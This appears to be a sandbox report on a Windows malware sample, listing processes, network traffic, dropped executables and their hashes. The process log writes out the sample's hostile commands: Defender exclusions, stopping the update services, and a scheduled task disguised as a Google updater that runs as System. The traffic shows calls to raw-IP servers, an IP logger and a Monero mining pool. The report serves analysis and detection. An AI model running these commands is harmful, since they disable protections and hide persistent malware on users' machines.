"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2216,6661313192340824192,27681664246143185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9864 /prefetch:1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Roaming\vgujwat

C:\Users\Admin\AppData\Roaming\vgujwat

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 126.209.247.8.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 39.142.81.104.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
RU 193.233.255.73:80 193.233.255.73 tcp
US 8.8.8.8:53 73.255.233.193.in-addr.arpa udp
FI 77.91.124.1:80 77.91.124.1 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 1.124.91.77.in-addr.arpa udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 store.steampowered.com udp
US 8.8.8.8:53 www.facebook.com udp
NL 157.240.247.35:443 www.facebook.com tcp
NL 142.250.179.141:443 accounts.google.com tcp
NL 104.85.0.101:443 store.steampowered.com tcp
US 8.8.8.8:53 steamcommunity.com udp
US 8.8.8.8:53 twitter.com udp
JP 23.207.106.113:443 steamcommunity.com tcp
US 104.244.42.129:443 twitter.com tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 35.247.240.157.in-addr.arpa udp
US 8.8.8.8:53 101.0.85.104.in-addr.arpa udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 129.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 113.106.207.23.in-addr.arpa udp
US 8.8.8.8:53 pbs.twimg.com udp
US 8.8.8.8:53 api.twitter.com udp
US 8.8.8.8:53 abs.twimg.com udp
US 104.244.42.130:443 api.twitter.com tcp
US 8.8.8.8:53 video.twimg.com udp
NL 199.232.148.159:443 pbs.twimg.com tcp
US 8.8.8.8:53 t.co udp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 104.244.42.197:443 t.co tcp
NL 199.232.148.158:443 video.twimg.com tcp
US 8.8.8.8:53 static.ads-twitter.com udp
NL 199.232.148.157:443 static.ads-twitter.com tcp
US 8.8.8.8:53 analytics.twitter.com udp
US 104.244.42.131:443 analytics.twitter.com tcp
US 8.8.8.8:53 www.epicgames.com udp
US 34.199.229.22:443 www.epicgames.com tcp
US 8.8.8.8:53 www.paypal.com udp
US 192.229.221.25:443 www.paypal.com tcp
US 8.8.8.8:53 130.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 159.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 141.21.199.152.in-addr.arpa udp
US 8.8.8.8:53 158.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 197.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 131.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 22.229.199.34.in-addr.arpa udp
US 8.8.8.8:53 157.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 25.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 162.47.239.18.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 static.xx.fbcdn.net udp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
US 8.8.8.8:53 i.ytimg.com udp
NL 142.251.36.54:443 i.ytimg.com tcp
US 8.8.8.8:53 community.akamai.steamstatic.com udp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 21.151.70.163.in-addr.arpa udp
US 8.8.8.8:53 54.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 169.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 apps.identrust.com udp
NL 88.221.25.153:80 apps.identrust.com tcp
US 8.8.8.8:53 store.akamai.steamstatic.com udp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 153.25.221.88.in-addr.arpa udp
US 8.8.8.8:53 106.208.58.216.in-addr.arpa udp
US 8.8.8.8:53 171.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 tracking.epicgames.com udp
US 54.82.162.139:443 tracking.epicgames.com tcp
US 8.8.8.8:53 static-assets-prod.unrealengine.com udp
US 18.239.36.73:443 static-assets-prod.unrealengine.com tcp
US 18.239.36.73:443 static-assets-prod.unrealengine.com tcp
US 8.8.8.8:53 facebook.com udp
IE 163.70.151.35:443 facebook.com tcp
US 8.8.8.8:53 www.paypalobjects.com udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 8.8.8.8:53 139.162.82.54.in-addr.arpa udp
US 8.8.8.8:53 73.36.239.18.in-addr.arpa udp
US 8.8.8.8:53 35.151.70.163.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 fbcdn.net udp
IE 163.70.151.35:443 fbcdn.net tcp
US 8.8.8.8:53 fbsbx.com udp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
NL 23.72.252.169:443 community.akamai.steamstatic.com tcp
US 8.8.8.8:53 www.recaptcha.net udp
NL 142.250.179.163:443 www.recaptcha.net tcp
US 8.8.8.8:53 c.paypal.com udp
US 151.101.1.21:443 c.paypal.com tcp
US 8.8.8.8:53 163.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 21.1.101.151.in-addr.arpa udp
NL 142.250.179.163:443 www.recaptcha.net udp
US 192.55.233.1:443 tcp
US 8.8.8.8:53 login.steampowered.com udp
JP 23.207.106.113:443 login.steampowered.com tcp
US 192.55.233.1:443 tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
NL 23.72.252.171:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 b.stats.paypal.com udp
US 8.8.8.8:53 t.paypal.com udp
US 64.4.245.84:443 b.stats.paypal.com tcp
US 151.101.1.35:443 t.paypal.com tcp
US 8.8.8.8:53 35.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 84.245.4.64.in-addr.arpa udp
US 8.8.8.8:53 play.google.com udp
NL 142.251.36.14:443 play.google.com tcp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 dub.stats.paypal.com udp
US 64.4.245.84:443 dub.stats.paypal.com tcp
US 8.8.8.8:53 14.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 c6.paypal.com udp
US 18.239.36.73:443 static-assets-prod.unrealengine.com tcp
US 104.244.42.130:443 api.twitter.com tcp
US 104.244.42.130:443 api.twitter.com tcp
FI 77.91.68.29:80 77.91.68.29 tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 29.68.91.77.in-addr.arpa udp
RU 193.233.255.73:80 193.233.255.73 tcp
FI 77.91.68.249:80 77.91.68.249 tcp
US 8.8.8.8:53 api.steampowered.com udp
JP 23.207.106.113:443 api.steampowered.com tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 249.68.91.77.in-addr.arpa udp
NL 194.169.175.118:80 194.169.175.118 tcp
US 8.8.8.8:53 118.175.169.194.in-addr.arpa udp
RU 5.42.65.80:80 5.42.65.80 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
NL 104.85.0.101:443 store.steampowered.com tcp
US 8.8.8.8:53 sentry.io udp
US 35.186.247.156:443 sentry.io tcp
JP 23.207.106.113:443 api.steampowered.com tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 156.247.186.35.in-addr.arpa udp
NL 142.251.36.54:443 i.ytimg.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
DE 172.217.23.194:443 googleads.g.doubleclick.net tcp
DE 172.217.23.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 194.23.217.172.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
FI 77.91.124.71:4341 tcp
US 8.8.8.8:53 71.124.91.77.in-addr.arpa udp
US 8.8.8.8:53 yt3.ggpht.com udp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com udp
US 8.8.8.8:53 1.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 iplogger.com udp
DE 148.251.234.93:443 iplogger.com tcp
US 8.8.8.8:53 stim.graspalace.com udp
US 188.114.96.0:80 stim.graspalace.com tcp
US 8.8.8.8:53 93.234.251.148.in-addr.arpa udp
US 8.8.8.8:53 0.96.114.188.in-addr.arpa udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
DE 172.217.23.202:443 jnn-pa.googleapis.com tcp
US 8.8.8.8:53 static.doubleclick.net udp
NL 142.251.36.6:443 static.doubleclick.net tcp
DE 172.217.23.202:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 202.23.217.172.in-addr.arpa udp
US 8.8.8.8:53 6.36.251.142.in-addr.arpa udp
BG 171.22.28.213:80 171.22.28.213 tcp
US 8.8.8.8:53 213.28.22.171.in-addr.arpa udp
US 149.40.62.171:15666 tcp
US 8.8.8.8:53 youtube.com udp
NL 216.58.214.14:443 youtube.com tcp
US 8.8.8.8:53 api.ipify.org udp
US 104.237.62.212:443 api.ipify.org tcp
IT 185.196.9.171:80 185.196.9.171 tcp
US 8.8.8.8:53 171.62.40.149.in-addr.arpa udp
US 8.8.8.8:53 14.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 212.62.237.104.in-addr.arpa udp
US 194.49.94.11:80 194.49.94.11 tcp
US 8.8.8.8:53 233.38.18.104.in-addr.arpa udp
US 8.8.8.8:53 11.94.49.194.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
FI 77.91.124.1:80 77.91.124.1 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 talon-website-prod.ecosec.on.epicgames.com udp
US 104.18.41.136:443 talon-website-prod.ecosec.on.epicgames.com tcp
US 8.8.8.8:53 136.41.18.104.in-addr.arpa udp
US 8.8.8.8:53 rr3---sn-4g5ednd7.googlevideo.com udp
DE 74.125.162.104:443 rr3---sn-4g5ednd7.googlevideo.com tcp
DE 74.125.162.104:443 rr3---sn-4g5ednd7.googlevideo.com tcp
DE 74.125.162.104:443 rr3---sn-4g5ednd7.googlevideo.com udp
US 8.8.8.8:53 104.162.125.74.in-addr.arpa udp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 host-file-host6.com udp
US 8.8.8.8:53 host-host-file8.com udp
US 95.214.26.28:80 host-host-file8.com tcp
US 8.8.8.8:53 28.26.214.95.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 d3d291ee-9eba-41c8-9c4a-bdfb8c5efa75.uuid.statsexplorer.org udp
US 8.8.8.8:53 www.recaptcha.net udp
NL 142.250.179.163:443 www.recaptcha.net udp
NL 142.250.179.163:443 www.recaptcha.net tcp
FI 77.91.124.86:19084 tcp
US 192.55.233.1:443 tcp
US 192.55.233.1:443 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 www.paypalobjects.com udp
US 8.8.8.8:53 c.paypal.com udp
US 8.8.8.8:53 www.paypal.com udp
US 8.8.8.8:53 b.stats.paypal.com udp
US 64.4.245.84:443 b.stats.paypal.com tcp
US 8.8.8.8:53 dub.stats.paypal.com udp
US 8.8.8.8:53 www.epicgames.com udp
US 52.0.122.33:443 www.epicgames.com tcp
US 8.8.8.8:53 33.122.0.52.in-addr.arpa udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 talon-service-prod.ecosec.on.epicgames.com udp
US 172.64.146.120:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 172.64.146.120:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 8.8.8.8:53 120.146.64.172.in-addr.arpa udp
US 172.64.146.120:443 talon-service-prod.ecosec.on.epicgames.com tcp
US 8.8.8.8:53 server7.statsexplorer.org udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 8.8.8.8:53 stun2.l.google.com udp
US 162.159.135.233:443 cdn.discordapp.com tcp
BG 185.82.216.108:443 server7.statsexplorer.org tcp
IN 172.253.121.127:19302 stun2.l.google.com udp
US 8.8.8.8:53 127.121.253.172.in-addr.arpa udp
US 8.8.8.8:53 233.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 108.216.82.185.in-addr.arpa udp
US 8.8.8.8:53 walkinglate.com udp
US 188.114.96.0:443 walkinglate.com tcp
US 8.8.8.8:53 js.hcaptcha.com udp
US 104.19.218.90:443 js.hcaptcha.com tcp
US 8.8.8.8:53 90.218.19.104.in-addr.arpa udp
US 8.8.8.8:53 newassets.hcaptcha.com udp
US 8.8.8.8:53 hcaptcha.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 142.250.179.162:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 162.179.250.142.in-addr.arpa udp
BG 185.82.216.108:443 server7.statsexplorer.org tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 xmr-eu1.nanopool.org udp
DE 135.125.238.108:14433 xmr-eu1.nanopool.org tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 108.238.125.135.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 172.67.34.170:443 pastebin.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe

MD5 11337af99166301c6d3925ca1df6bb03
SHA1 cede0140befd64e1357edaa92563bdbe23777927
SHA256 63de4b55da3ef05e5938b7be76bade505d29eb0a8e32892aa335f493db241a91
SHA512 effede0fc57c629552c6550638d1dd211bdd4f11149ecaa5c60c9aadc97ab1abd3337f0a3f46778a80fc715fd1fa6e1ff8be7253f052671ff32f8ae421417d68

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe

MD5 11337af99166301c6d3925ca1df6bb03
SHA1 cede0140befd64e1357edaa92563bdbe23777927
SHA256 63de4b55da3ef05e5938b7be76bade505d29eb0a8e32892aa335f493db241a91
SHA512 effede0fc57c629552c6550638d1dd211bdd4f11149ecaa5c60c9aadc97ab1abd3337f0a3f46778a80fc715fd1fa6e1ff8be7253f052671ff32f8ae421417d68

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe

MD5 a875974a5759080160ea53e9614dd179
SHA1 f36152f8a1702145e367a08ab90103a0f669e7ac
SHA256 dd187e8bf113f73b9c265bbc412d59e3bd6a6d470e5133d0fb9ba29cc73d7088
SHA512 cdcdbf820cddc00b69ee7078dc247de2f5742dfbf768c309aae5975ca2f3cf581c5534e992f11ccf70fc6eb61cfdfce9315ccaa7707f0c7781982d79992770e6

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe

MD5 a875974a5759080160ea53e9614dd179
SHA1 f36152f8a1702145e367a08ab90103a0f669e7ac
SHA256 dd187e8bf113f73b9c265bbc412d59e3bd6a6d470e5133d0fb9ba29cc73d7088
SHA512 cdcdbf820cddc00b69ee7078dc247de2f5742dfbf768c309aae5975ca2f3cf581c5534e992f11ccf70fc6eb61cfdfce9315ccaa7707f0c7781982d79992770e6

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe

MD5 eff4d65aeaa9c1923f4790abb422d9fc
SHA1 8a5a28434447c348272af152e15242b2efb10de8
SHA256 ffb29465984266e55ee33c0d60c31d6f5b75aa6a38bd75f320c6c0d4aab7cea8
SHA512 7479005bd2c5c8492314b1245e5cf58e8cf62dcfa2f0c463215d27d85d2c308078acbba332bf6c0725321451a1913334d4407eec981824cd88a25bf7598b058a

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe

MD5 eff4d65aeaa9c1923f4790abb422d9fc
SHA1 8a5a28434447c348272af152e15242b2efb10de8
SHA256 ffb29465984266e55ee33c0d60c31d6f5b75aa6a38bd75f320c6c0d4aab7cea8
SHA512 7479005bd2c5c8492314b1245e5cf58e8cf62dcfa2f0c463215d27d85d2c308078acbba332bf6c0725321451a1913334d4407eec981824cd88a25bf7598b058a

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe

MD5 d472812cc71de92c7f0e9fd9f4c7c50a
SHA1 3ef7d67940d15b247a02e7e31b90801d55f04872
SHA256 3279fe21c11e372e92456bec6cedf6e162ddd6cf2bc8f0333d8e156b22be2c2e
SHA512 9ef34f89ba9e20fa4a7a84e534bae03baef36042bf3e510097e3f3f30294308b9634618d7fec1b266dbf52d19459986ea59c158b559aa0ce22eb323929be5876

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe

MD5 d472812cc71de92c7f0e9fd9f4c7c50a
SHA1 3ef7d67940d15b247a02e7e31b90801d55f04872
SHA256 3279fe21c11e372e92456bec6cedf6e162ddd6cf2bc8f0333d8e156b22be2c2e
SHA512 9ef34f89ba9e20fa4a7a84e534bae03baef36042bf3e510097e3f3f30294308b9634618d7fec1b266dbf52d19459986ea59c158b559aa0ce22eb323929be5876

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe

MD5 8b7b11d2690622d5c054d67b5e7b4bff
SHA1 4bf918aad2217158de0a7e75aa60e4810862a2f7
SHA256 691f63222cb3a5e564db97237afdf121c29e56121ba6f6271e8d9849fcf8ba99
SHA512 ae0560b2a4d9caad3c57ecd97627d76e7ce496cebfa6eae74ebd93c6e422104ae96f5b9b3e967ba08a52706b58244e673f72e57e6cb6168b681667d67b5a969b

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe

MD5 8b7b11d2690622d5c054d67b5e7b4bff
SHA1 4bf918aad2217158de0a7e75aa60e4810862a2f7
SHA256 691f63222cb3a5e564db97237afdf121c29e56121ba6f6271e8d9849fcf8ba99
SHA512 ae0560b2a4d9caad3c57ecd97627d76e7ce496cebfa6eae74ebd93c6e422104ae96f5b9b3e967ba08a52706b58244e673f72e57e6cb6168b681667d67b5a969b

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe

MD5 bf8abf2f49a4629cf8b1b5e9a81715d0
SHA1 61c8b650861e5339ad25a1fff6653b5248811f96
SHA256 c5dce771c1e03b2b0b4302596bad73dbb1198f38e9ce1447bd811f1488655083
SHA512 9cd9ec63aa8d1681530d6137ebf4e9b44e62e5cc60f00d8e280a75c30be9915201fdd0cb6f75ad074721162ed4da156c3d94ddd03ae34b99bd009aaf35e52402

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe

MD5 bf8abf2f49a4629cf8b1b5e9a81715d0
SHA1 61c8b650861e5339ad25a1fff6653b5248811f96
SHA256 c5dce771c1e03b2b0b4302596bad73dbb1198f38e9ce1447bd811f1488655083
SHA512 9cd9ec63aa8d1681530d6137ebf4e9b44e62e5cc60f00d8e280a75c30be9915201fdd0cb6f75ad074721162ed4da156c3d94ddd03ae34b99bd009aaf35e52402

memory/1912-42-0x0000000000400000-0x000000000040A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe

MD5 02ee4bf18297358b0eef9651c8614e35
SHA1 c861134316e7097a436715d0249b2a39d8c9f9eb
SHA256 bf838563053d005cc8a7752e269da202f0703b6fcc8d0f57227b1cc2d66aa055
SHA512 cfdacea5cda39d6843647b2eb34a03a477e855bddc8b677f7bf368a7a8507043fd932a65655f0f1d883ee60d824de7c79e507bc63e62fd027307bc5d46977975

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe

MD5 02ee4bf18297358b0eef9651c8614e35
SHA1 c861134316e7097a436715d0249b2a39d8c9f9eb
SHA256 bf838563053d005cc8a7752e269da202f0703b6fcc8d0f57227b1cc2d66aa055
SHA512 cfdacea5cda39d6843647b2eb34a03a477e855bddc8b677f7bf368a7a8507043fd932a65655f0f1d883ee60d824de7c79e507bc63e62fd027307bc5d46977975

memory/1912-46-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/4576-47-0x0000000000400000-0x0000000000434000-memory.dmp

memory/4576-48-0x0000000000400000-0x0000000000434000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe

MD5 660d0500553421f91861b754bcd2fd00
SHA1 ca1ecc59706b92d3d30e52cf6d624a0a2fd5835f
SHA256 6c5a6e1005581da1c16e37d62f0358848feb20574aa666221d06f42739e29957
SHA512 7a529fa5d3541ea4c05b0ab35da590764559c2d1e65464f7732f667e66738b306d8c73a5e4bf3120cc97b5cfde1846fbeed433fda92f763c89ff821800c11fb5

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe

MD5 660d0500553421f91861b754bcd2fd00
SHA1 ca1ecc59706b92d3d30e52cf6d624a0a2fd5835f
SHA256 6c5a6e1005581da1c16e37d62f0358848feb20574aa666221d06f42739e29957
SHA512 7a529fa5d3541ea4c05b0ab35da590764559c2d1e65464f7732f667e66738b306d8c73a5e4bf3120cc97b5cfde1846fbeed433fda92f763c89ff821800c11fb5

memory/4576-50-0x0000000000400000-0x0000000000434000-memory.dmp

memory/4896-54-0x0000000000400000-0x0000000000409000-memory.dmp

memory/4576-55-0x0000000000400000-0x0000000000434000-memory.dmp

memory/3372-56-0x0000000002EE0000-0x0000000002EF6000-memory.dmp

memory/4896-57-0x0000000000400000-0x0000000000409000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe

MD5 47db2d27ac881ca9f317936440b32b68
SHA1 4a8bc6e0ee6599f7a490af0a8de2b3c7bb35379c
SHA256 634f803419b5aa103ce85ed58afd91969c561aa71fa4d89bc1153f7545491193
SHA512 a2730f407527b847e42e391aa438d00bd609c9a3a045ca6d75ebc5b9fac2c0c8b24b638208f2a39cc975798b7059d7cdbfc0e425fa7cc15635fcfc316569473e

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4Lc534wc.exe

MD5 47db2d27ac881ca9f317936440b32b68
SHA1 4a8bc6e0ee6599f7a490af0a8de2b3c7bb35379c
SHA256 634f803419b5aa103ce85ed58afd91969c561aa71fa4d89bc1153f7545491193
SHA512 a2730f407527b847e42e391aa438d00bd609c9a3a045ca6d75ebc5b9fac2c0c8b24b638208f2a39cc975798b7059d7cdbfc0e425fa7cc15635fcfc316569473e

memory/3928-63-0x0000000000400000-0x000000000043E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe

MD5 be0afdd8a9efab3ca12644b7be3b2210
SHA1 98ec832885ede562cc6b966b21d4ca8ca83cb1e2
SHA256 52c13bbeeea4b188bbe98ae34def236f3f64e4b4d45b1a2118e21239dc47a60f
SHA512 c7e1962f024a1af470f639cc181ea1dfdadb7143f773728510b98d959d0f42867a5a3fbe84800b56536b667f45c2aa9a3e1b21cf013dc0871d700d9cf6da45ba

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5vZ2ys3.exe

MD5 be0afdd8a9efab3ca12644b7be3b2210
SHA1 98ec832885ede562cc6b966b21d4ca8ca83cb1e2
SHA256 52c13bbeeea4b188bbe98ae34def236f3f64e4b4d45b1a2118e21239dc47a60f
SHA512 c7e1962f024a1af470f639cc181ea1dfdadb7143f773728510b98d959d0f42867a5a3fbe84800b56536b667f45c2aa9a3e1b21cf013dc0871d700d9cf6da45ba

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

MD5 be0afdd8a9efab3ca12644b7be3b2210
SHA1 98ec832885ede562cc6b966b21d4ca8ca83cb1e2
SHA256 52c13bbeeea4b188bbe98ae34def236f3f64e4b4d45b1a2118e21239dc47a60f
SHA512 c7e1962f024a1af470f639cc181ea1dfdadb7143f773728510b98d959d0f42867a5a3fbe84800b56536b667f45c2aa9a3e1b21cf013dc0871d700d9cf6da45ba

memory/3928-69-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/3928-70-0x00000000079D0000-0x0000000007F74000-memory.dmp

memory/3928-71-0x00000000074C0000-0x0000000007552000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

MD5 be0afdd8a9efab3ca12644b7be3b2210
SHA1 98ec832885ede562cc6b966b21d4ca8ca83cb1e2
SHA256 52c13bbeeea4b188bbe98ae34def236f3f64e4b4d45b1a2118e21239dc47a60f
SHA512 c7e1962f024a1af470f639cc181ea1dfdadb7143f773728510b98d959d0f42867a5a3fbe84800b56536b667f45c2aa9a3e1b21cf013dc0871d700d9cf6da45ba

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

MD5 be0afdd8a9efab3ca12644b7be3b2210
SHA1 98ec832885ede562cc6b966b21d4ca8ca83cb1e2
SHA256 52c13bbeeea4b188bbe98ae34def236f3f64e4b4d45b1a2118e21239dc47a60f
SHA512 c7e1962f024a1af470f639cc181ea1dfdadb7143f773728510b98d959d0f42867a5a3fbe84800b56536b667f45c2aa9a3e1b21cf013dc0871d700d9cf6da45ba

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe

MD5 dabea5ebe89f4a3d7de27c29d2e60d97
SHA1 5acdf892a009f121308eacd2a3458c32c698c8f6
SHA256 b1235156d02e22a10466fc02b38c879fbc77156b1a46a5b5df455736f5d97d5d
SHA512 92a2ce2a74c23981c7948c2ae21198c7b42204484c7902ffeef3e80ed227aad99c6d7a103b32dce5f2ca8ed5c3cc3f2c3b5d3e4db26fe188ee3e959b2c40da1f

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Cs5Zi8.exe

MD5 dabea5ebe89f4a3d7de27c29d2e60d97
SHA1 5acdf892a009f121308eacd2a3458c32c698c8f6
SHA256 b1235156d02e22a10466fc02b38c879fbc77156b1a46a5b5df455736f5d97d5d
SHA512 92a2ce2a74c23981c7948c2ae21198c7b42204484c7902ffeef3e80ed227aad99c6d7a103b32dce5f2ca8ed5c3cc3f2c3b5d3e4db26fe188ee3e959b2c40da1f

memory/3928-83-0x0000000007680000-0x0000000007690000-memory.dmp

memory/1912-82-0x0000000073FA0000-0x0000000074750000-memory.dmp

